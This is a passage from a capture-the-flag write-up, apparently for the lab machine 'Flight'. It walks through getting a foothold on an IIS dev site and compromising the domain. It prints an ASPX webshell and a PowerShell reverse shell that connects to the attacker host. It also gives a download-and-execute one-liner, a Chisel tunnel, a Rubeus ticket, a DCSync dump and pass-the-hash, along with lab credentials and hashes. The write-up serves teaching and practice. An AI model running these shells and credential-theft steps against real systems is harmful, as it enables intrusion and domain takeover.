echo test > C:\inetpub\development\test.txt

ls
    Directory: C:\inetpub\development
Mode                LastWriteTime         Length Name                              
----                -------------         ------ ----                              
d-----        3/13/2026   8:42 PM                css                               
d-----        3/13/2026   8:42 PM                fonts                             
d-----        3/13/2026   8:42 PM                img                               
d-----        3/13/2026   8:42 PM                js                                
-a----        4/16/2018   2:23 PM           9371 contact.html                      
-a----        4/16/2018   2:23 PM          45949 index.html                        
-a----        3/13/2026   8:44 PM             14 test.txt
```

so what i think the attack vector now will be is that we

```
portforward to out kali machine -> write a webshell in this directory -> and access the web shell
```

#### 6.3 Port Forward with Chisel

The IIS dev site on port 8000 only listens on `127.0.0.1`. Chisel creates a reverse TCP tunnel to expose it on the Kali machine:

then do port forward, it to our kali machine so we can execute the web shell.\
First start a chisel on our kali machine

```bash
┌──(kali㉿kali)-[~/Documents/flight]
└─$ chisel server -p 8000 --reverse
```

transfer the windows chisel binary using python http server

```bash
Invoke-WebRequest http://10.10.16.5:9000/chisel.exe -OutFile C:\Users\C.Bum\chisel.exe
```

and start the port forwarding

```bash
./chisel.exe client 10.10.16.5:8000 R:9001:127.0.0.1:8000
```

#### 6.4 Deploy ASPX Webshell → IIS AppPool RCE

PHP does not execute under IIS — an ASPX (C# ASP.NET) webshell is required. It's written to the development webroot via C.Bum's shell:

```bash
<%@ Page Language="C#" Debug="true" %>
<%@ Import Namespace="System.Diagnostics" %>
<script runat="server">
void Page_Load(object sender, EventArgs e)
{
    Process p = new Process();
    p.StartInfo.FileName = "cmd.exe";
    p.StartInfo.Arguments = "/c " + Request["cmd"];
    p.StartInfo.UseShellExecute = false;
    p.StartInfo.RedirectStandardOutput = true;
    p.Start();
    Response.Write("<pre>" + p.StandardOutput.ReadToEnd() + "</pre>");
}
</script>
```

then using the C.Bum shell we will put it in `C:\inetpub\development\shell.aspx`

```bash
Invoke-WebRequest http://10.10.16.5:9000/shell.aspx -OutFile C:\inetpub\development\shell.aspx
```

Accessing `http://127.0.0.1:9001/shell.aspx?cmd=whoami /all` confirms RCE as `IIS APPPOOL\DefaultAppPool`:

<figure><img src="https://228349275-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDwo0QXoFAyplFtxgehnM%2Fuploads%2F4xPKy6di6jfzqCd7DJjJ%2FPasted%20image%2020260314023830.png?alt=media&amp;token=15c02d36-8053-4118-9281-0af9a5675b3d" alt=""><figcaption></figcaption></figure>

which says

```
USER INFORMATION
----------------

User Name                  SID                                                          
========================== =============================================================
iis apppool\defaultapppool S-1-5-82-3006700770-424185619-1745488364-794895919-4004696415


GROUP INFORMATION
-----------------

Group Name                                 Type             SID          Attributes                                        
========================================== ================ ============ ==================================================
Mandatory Label\High Mandatory Level       Label            S-1-16-12288                                                   
Everyone                                   Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias            S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                              Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\SERVICE                       Well-known group S-1-5-6      Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON                              Well-known group S-1-2-1      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization             Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
BUILTIN\IIS_IUSRS                          Alias            S-1-5-32-568 Mandatory group, Enabled by default, Enabled group
LOCAL                                      Well-known group S-1-2-0      Mandatory group, Enabled by default, Enabled group
                                           Unknown SID type S-1-5-82-0   Mandatory group, Enabled by default, Enabled group


PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State   
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeMachineAccountPrivilege     Add workstations to domain                Disabled
SeAuditPrivilege              Generate security audits                  Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
SeCreateGlobalPrivilege       Create global objects                     Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled


USER CLAIMS INFORMATION
-----------------------

User claims unknown.

Kerberos support for Dynamic Access Control on this device has been disabled.
```

`SeImpersonatePrivilege` being enabled is the key indicator — this account can impersonate other tokens, which is the foundation for Kerberos delegation abuse.

***

### 7. Domain Compromise — Administrator

#### 7.1 Kerberos TGT Delegation with Rubeus

The IIS AppPool account is effectively a machine account (`IIS APPPOOL\DefaultAppPool` maps to the machine's computer account in Kerberos). Machine accounts can request service tickets on behalf of other accounts through delegation.

`Rubeus tgtdeleg` abuses this to request a fake TGT for the machine account by initialising a Kerberos GSS-API session delegating to `cifs/g0.flight.htb`. The result is a base64-encoded Kerberos ticket in `.kirbi` format.

First, get a stable reverse shell as IIS AppPool via the ASPX webshell:\
host a reverse shell as `rev.ps1` on our attacker machine

```powershell
$client = New-Object System.Net.Sockets.TCPClient("10.10.16.5",6666)  
$stream = $client.GetStream()  
[byte[]]$bytes = 0..65535|%{0}  
while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){  
$data = (New-Object System.Text.ASCIIEncoding).GetString($bytes,0,$i)  
$sendback = (iex $data | Out-String)  
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback)  
$stream.Write($sendbyte,0,$sendbyte.Length)  
$stream.Flush()  
}  
$client.Close()
```

start a netcat listener on port 6666, and on our webshell we'll execute

```
http://127.0.0.1:9001/shell.aspx?cmd=powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://10.10.16.5:9000/rev.ps1')"
```

and on our nc listener we'll see that the shell is recieved

```bash
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 6666
listening on [any] 6666 ...
connect to [10.10.16.5] from (UNKNOWN) [10.129.228.120] 63111
whoami
iis apppool\defaultapppool
```

Then run Rubeus:

```bash
.\rubeus.exe tgtdeleg /nowrap

   ______        _                      
  (_____ \      | |                     
   _____) )_   _| |__  _____ _   _  ___ 
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.3.3 


[*] Action: Request Fake Delegation TGT (current user)

[*] No target SPN specified, attempting to build 'cifs/dc.domain.com'
[*] Initializing Kerberos GSS-API w/ fake delegation for target 'cifs/g0.flight.htb'
[+] Kerberos GSS-API initialization success!
[+] Delegation request success! AP-REQ delegation ticket is now in GSS-API output.
[*] Found the AP-REQ delegation ticket in the GSS-API output.
[*] Authenticator etype: aes256_cts_hmac_sha1
[*] Extracted the service ticket session key from the ticket cache: kyyPzlvISIe7JnSybv/EH0ESTrmZdagaIkC3c9a6C5s=
[+] Successfully decrypted the authenticator
[*] base64(ticket.kirbi):

      doIFVDCCBVCgAwIBBaEDAgEWooIEZDCCBGBhggRcMIIEWKADAgEFoQwbCkZMSUdIVC5IVEKiHzAdoAMCAQKhFjAUGwZrcmJ0Z3QbCkZMSUdIVC5IVEKjggQgMIIEHKADAgESoQMCAQKiggQOBIIECqrqbfClas66KIm9mhrN7ez5TK4rPcdJeJc600t9p1rhHeHl7o5agBF0AhK3Qc5Tr0VNgedA58el9IaASPQTrwsnkzXP/d/9yRVqTSeNNft5Pf1vTSMkR9lJG99Yj6+oheIMB+AmwaTTT+jQWAwcW4KxYFvI8UVJ7njA2UgQowcIH2FB8sQuWves6wy1bdZ0U/Z+LsW5kt7ceAGts8eUmoRooVaGcmPa2IcsbgbVxulsUJrW6Q7XtKa1VbzIPp6wtkUmYAUeXufumf5lPt0wAb/5Xn2t6tDDS95s31L7Otr2dtN17H95fGW6U7MxykRW+co2uzRBb/CIZHkms0xgEEnlHEk5m88TU6zMf4oT/331Fo+2qDZEN6u/DnZrugf7OwbCMjN9rEZqCTbEHOY+0QqlXuL84wcmSptRWOaPcwzUqChmAAZuT9x2XtaHQdGAOft+iZ87p8rwIRHx7p/FQ0XLb3aXXzv9xdD2ZPmVrn5+TANnQB1psJ2JM94QX/bYEk+sZD4Lw1vzItGDtF+fWJIB5TVJH3RJrDGuenfTazH2H9xsgFfwRGFOn+UH5xoWaUhmjZkc7GSi8aRnKgCK4XeymR7EzxVAtHvzTQECEyxp+39nhGWGCsDhYW45+d8UhTi4ctLPcHLTDMkCiS5nJJ6Qs2Y2I+uVdfpTnpR2r2Dlyxbv3JQoEilQyXdPVL5ZKJMeslsIePIqU1AmFbW7PUyGcUd0prILVPWDzkO95DE9KU2Rpylyz2WfqEkHdPMoA3YtZp/4nQVn8DPc+RXKX5Zf64Eh7IELMhCMADTzf9pHQMvTsLIcpNMgC0Jwezdm6RJcvfAoiQGwZByN6oCyisgRkwySRYTh5j3vB3YW4zBxAKF4qOQlWATYxFaTuU6jODwau+HAxVFtmSxKF1mcMOhN5z4bZBnMvb5YxVtudqauSeBiqGf3DPt/sSLtxWDLuBZ48Cc0GIvBuCtPAr4O8n24hh/aotmSAjO/hm9l+KjgyzhbFsol1v0FaVefCfXRijkwct2WpKbivG2El9SEjWf92Cex2dUM4mf/QhHjMq9HadsftxFWoVzXRuNYeHkEYY2+t3G8sZ7gyizNkmFj/30WrHroWmoYxKS0aLP/7h/19wjM8tOSttUJmGVIeUyDaFh+SS5gmUBKRgwV6Rl60Rhgql5nxBZaf4m94OE6J4HTqoPdjtOJJTCxFua/uNxm0gxh1F58EunxoB0cluJxTkJcBtBgB7/YHLqLrWON8V9yXbV87TR/LJpQ4ZGtGVtka6OtU9BhnwaymV9y+Pav+k2trDDda1GA4I15CkkORkRecUvUDDL45D9KUJ6R+/poCH12q/dhbNQ8s14qIvGz06hfbWKWt2fG78Oxo4HbMIHYoAMCAQCigdAEgc19gcowgceggcQwgcEwgb6gKzApoAMCARKhIgQgnjPNqqCYNMMEHt5XIpeMeF9aqTvjSXNg/2Ff6FyC5XmhDBsKRkxJR0hULkhUQqIQMA6gAwIBAaEHMAUbA0cwJKMHAwUAYKEAAKURGA8yMDI2MDMxNDA0NDkwMlqmERgPMjAyNjAzMTQxNDQ5MDJapxEYDzIwMjYwMzIxMDQ0OTAyWqgMGwpGTElHSFQuSFRCqR8wHaADAgECoRYwFBsGa3JidGd0GwpGTElHSFQuSFRC

```

#### 7.2 Convert Ticket and Sync Clock

The base64 ticket is decoded and converted from `.kirbi` (Windows format) to `.ccache` (Linux/impacket format). Because Kerberos requires client and server clocks to be within 5 minutes and the target is \~7 hours ahead, `ntpdate` is used to synchronise:

```bash
┌──(kali㉿kali)-[~/Documents/flight]
└─$ echo "doIFVDCCBVCgAwIBBaEDAgEWooIEZDCCBGBhggRcMIIEWKADAgEFoQwbCkZMSUdIVC5IVEKiHzAdoAMCAQKhFjAUGwZrcmJ0Z3QbCkZMSUdIVC5IVEKjggQgMIIEHKADAgESoQMCAQKiggQOBIIECqrqbfClas66KIm9mhrN7ez5TK4rPcdJeJc600t9p1rhHeHl7o5agBF0AhK3Qc5Tr0VNgedA58el9IaASPQTrwsnkzXP/d/9yRVqTSeNNft5Pf1vTSMkR9lJG99Yj6+oheIMB+AmwaTTT+jQWAwcW4KxYFvI8UVJ7njA2UgQowcIH2FB8sQuWves6wy1bdZ0U/Z+LsW5kt7ceAGts8eUmoRooVaGcmPa2IcsbgbVxulsUJrW6Q7XtKa1VbzIPp6wtkUmYAUeXufumf5lPt0wAb/5Xn2t6tDDS95s31L7Otr2dtN17H95fGW6U7MxykRW+co2uzRBb/CIZHkms0xgEEnlHEk5m88TU6zMf4oT/331Fo+2qDZEN6u/DnZrugf7OwbCMjN9rEZqCTbEHOY+0QqlXuL84wcmSptRWOaPcwzUqChmAAZuT9x2XtaHQdGAOft+iZ87p8rwIRHx7p/FQ0XLb3aXXzv9xdD2ZPmVrn5+TANnQB1psJ2JM94QX/bYEk+sZD4Lw1vzItGDtF+fWJIB5TVJH3RJrDGuenfTazH2H9xsgFfwRGFOn+UH5xoWaUhmjZkc7GSi8aRnKgCK4XeymR7EzxVAtHvzTQECEyxp+39nhGWGCsDhYW45+d8UhTi4ctLPcHLTDMkCiS5nJJ6Qs2Y2I+uVdfpTnpR2r2Dlyxbv3JQoEilQyXdPVL5ZKJMeslsIePIqU1AmFbW7PUyGcUd0prILVPWDzkO95DE9KU2Rpylyz2WfqEkHdPMoA3YtZp/4nQVn8DPc+RXKX5Zf64Eh7IELMhCMADTzf9pHQMvTsLIcpNMgC0Jwezdm6RJcvfAoiQGwZByN6oCyisgRkwySRYTh5j3vB3YW4zBxAKF4qOQlWATYxFaTuU6jODwau+HAxVFtmSxKF1mcMOhN5z4bZBnMvb5YxVtudqauSeBiqGf3DPt/sSLtxWDLuBZ48Cc0GIvBuCtPAr4O8n24hh/aotmSAjO/hm9l+KjgyzhbFsol1v0FaVefCfXRijkwct2WpKbivG2El9SEjWf92Cex2dUM4mf/QhHjMq9HadsftxFWoVzXRuNYeHkEYY2+t3G8sZ7gyizNkmFj/30WrHroWmoYxKS0aLP/7h/19wjM8tOSttUJmGVIeUyDaFh+SS5gmUBKRgwV6Rl60Rhgql5nxBZaf4m94OE6J4HTqoPdjtOJJTCxFua/uNxm0gxh1F58EunxoB0cluJxTkJcBtBgB7/YHLqLrWON8V9yXbV87TR/LJpQ4ZGtGVtka6OtU9BhnwaymV9y+Pav+k2trDDda1GA4I15CkkORkRecUvUDDL45D9KUJ6R+/poCH12q/dhbNQ8s14qIvGz06hfbWKWt2fG78Oxo4HbMIHYoAMCAQCigdAEgc19gcowgceggcQwgcEwgb6gKzApoAMCARKhIgQgnjPNqqCYNMMEHt5XIpeMeF9aqTvjSXNg/2Ff6FyC5XmhDBsKRkxJR0hULkhUQqIQMA6gAwIBAaEHMAUbA0cwJKMHAwUAYKEAAKURGA8yMDI2MDMxNDA0NDkwMlqmERgPMjAyNjAzMTQxNDQ5MDJapxEYDzIwMjYwMzIxMDQ0OTAyWqgMGwpGTElHSFQuSFRCqR8wHaADAgECoRYwFBsGa3JidGd0GwpGTElHSFQuSFRC" > ticket.b64


┌──(kali㉿kali)-[~/Documents/flight]
└─$ cat ticket.b64 | base64 -d > ticket.kirbi


┌──(kali㉿kali)-[~/Documents/flight]
└─$ impacket-ticketConverter ticket.kirbi ticket.ccache
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[*] converting kirbi to ccache...
[+] done


┌──(kali㉿kali)-[~/Documents/flight]
└─$ sudo ntpdate -u flight.htb
[sudo] password for kali: 
2026-03-14 00:51:16.987484 (-0400) +7179.526522 +/- 0.073161 flight.htb 10.129.228.120 s1 no-leap
CLOCK: time stepped by 7179.526522
```

#### 7.3 DCSync Attack — Dump Administrator Hash

With a valid Kerberos ccache and clock synchronised, `impacket-secretsdump` performs a DCSync attack using the DRSUAPI replication protocol — requesting the domain controller to replicate credentials as if we were another DC. This extracts the Administrator's NTLM hash directly from Active Directory's `NTDS.DIT` without touching disk.

```bash
┌──(kali㉿kali)-[~/Documents/flight]
└─$ KRB5CCNAME=ticket.ccache impacket-secretsdump -k -no-pass g0.flight.htb -just-dc-user Administrator -target-ip 10.129.228.120
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:43bbfc530bab76141b12c8446e30c17c:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:08c3eb806e4a83cdc660a54970bf3f3043256638aea2b62c317feffb75d89322
Administrator:aes128-cts-hmac-sha1-96:735ebdcaa24aad6bf0dc154fcdcb9465
Administrator:des-cbc-md5:c7754cb5498c2a2f
[*] Cleaning up... 
```

#### 7.4 Pass-the-Hash — Evil-WinRM

The NT hash is passed directly to Evil-WinRM — no need to crack it. This grants an interactive PowerShell session as domain Administrator:

```
┌──(kali㉿kali)-[~/Documents/flight]
└─$ evil-winrm -i 10.129.228.120 -u Administrator -H 43bbfc530bab76141b12c8446e30c17c

*Evil-WinRM* PS C:\Users\Administrator\Documents> type ..\Desktop\root.txt
4bf4xxxxxxxxxxxxxxxxxxxxxx7ec3

```

***

### 8. Credentials Summary

| Account                | Password / Hash                         | How Obtained                                   |
| ---------------------- | --------------------------------------- | ---------------------------------------------- |
| `flight\svc_apache`    | `S@Ss!K@*t13`                           | UNC injection → Responder → Hashcat            |
| `flight\S.Moon`        | `S@Ss!K@*t13`                           | Password reuse spray from svc\_apache          |
| `flight\C.Bum`         | `Tikkycoll_431012284`                   | Malicious .ini in Shared → Responder → Hashcat |
| `flight\Administrator` | `43bbfc530bab76141b12c8446e30c17c` (NT) | DCSync via Rubeus TGT + impacket               |

***

### 9. Attack Path Summary

```
[Recon]
  nmap → Apache/PHP on DC + AD services exposed
  ffuf → discover school.flight.htb subdomain

[Foothold — svc_apache]
  LFI param (index.php?view=) → blocked by WAF
  UNC path injection → Responder captures svc_apache NTLMv2
  Hashcat (mode 5600) → S@Ss!K@*t13
  nxc → SMB + LDAP access confirmed (WinRM denied)

[Lateral Movement — S.Moon]
  RID brute-force (--rid-brute) → enumerate 12 domain users
  Password spray → S.Moon reuses svc_apache password
  S.Moon → READ+WRITE on Shared SMB share

[Lateral Movement — C.Bum]
  Malicious trigger.ini in Shared → C.Bum NTLMv2 via Responder
  Hashcat → Tikkycoll_431012284
  C.Bum → READ+WRITE on Web SMB share (WebDevs group)
  Grab user.txt from C.Bum's desktop via SMB

[RCE — svc_apache]
  Upload shell.php to school.flight.htb webroot via SMB
  PHP webshell → PowerShell reverse shell as svc_apache
  netstat → internal port 8000 discovered (IIS)

[Escalation — C.Bum]
  RunasCs.exe → pivot to C.Bum shell
  Confirm write access to C:\inetpub\development
  Chisel reverse tunnel → forward port 8000 to Kali:9001
  Upload shell.aspx to IIS development site
  ASPX webshell → reverse shell as IIS APPPOOL\DefaultAppPool
  whoami /all → SeImpersonatePrivilege enabled

[Domain Compromise — Administrator]
  Rubeus tgtdeleg → obtain machine account Kerberos TGT (kirbi)
  impacket-ticketConverter → kirbi to ccache
  ntpdate -u flight.htb → sync clock (7h skew)
  impacket-secretsdump + DCSync → Administrator NT hash
  evil-winrm -H → root shell
  type root.txt → 4bf4xxxxxxxxxxxxxxxxxxx7ec3
```